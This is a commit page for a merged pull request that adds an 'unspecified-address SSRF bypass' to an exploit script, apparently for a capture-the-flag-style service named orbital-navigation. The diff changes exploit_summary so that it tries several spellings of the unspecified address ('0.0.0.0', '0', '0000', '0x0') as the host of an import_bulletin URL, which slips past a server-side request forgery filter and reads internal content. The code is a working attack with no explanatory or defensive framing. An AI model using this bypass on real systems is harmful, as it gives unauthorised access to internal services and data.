Merge pull request 'orbital-navigation: add unspecified-address SSRF bypass' (#3) from exploit/orbital-ssrf-unspecified into main

Reviewed-on: #3
This commit was merged in pull request #3.
This commit is contained in:
takuya committed 2026-10-25 11:26:57 +03:00
commit c2fc0cb8cf
1 file changed
+17 -8
+17 -8
View File
@@ -211,14 +211,23 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
if status == 200:
return [raw.decode("utf-8", errors="replace")]
token = register(base)
result = rpc(
base,
"import_bulletin",
token=token,
url=f"http://127.1:8080{path}",
)
content = result.get("content") if isinstance(result, dict) else None
return [content] if isinstance(content, str) else []
last_error = None
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
try:
result = rpc(
base,
"import_bulletin",
token=token,
url=f"http://{internal_host}:8080{path}",
)
content = result.get("content") if isinstance(result, dict) else None
if isinstance(content, str):
return [content]
except ExploitError as exc:
last_error = exc
if last_error:
raise last_error
return []
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]: